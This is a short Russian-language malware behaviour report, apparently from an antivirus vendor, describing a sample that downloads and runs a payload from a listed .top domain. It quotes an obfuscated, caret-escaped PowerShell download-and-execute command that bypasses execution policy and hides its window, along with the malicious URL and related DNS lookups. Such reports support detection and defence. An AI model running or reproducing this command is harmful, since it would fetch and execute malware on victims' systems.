Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pO^weRS^H^Ell.e^X^e -E^xeC^U^T^ion^PolicY B^yp^asS -nO^prO^f^iL^E -wIn^do^W^S^tYlE ^H^ID^dE^N (nEW^-ob^j^e^ct sYsT^Em.^N^Et^.^wE^bc^L^IENT).dOwn^LOADfI^L^e('http://www.zoer...
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pO^weRS^H^Ell.e^X^e -E^xeC^U^T^ion^PolicY B^yp^asS -nO^prO^f^iL^E -wIn^do^W^S^tYlE ^H^ID^dE^N (nEW^-ob^j^e^ct sYsT^Em.^N^Et^.^wE^bc^L^IENT).dOwn^LOADfI^L^e('http://www.zoer...' (со скрытым окном)
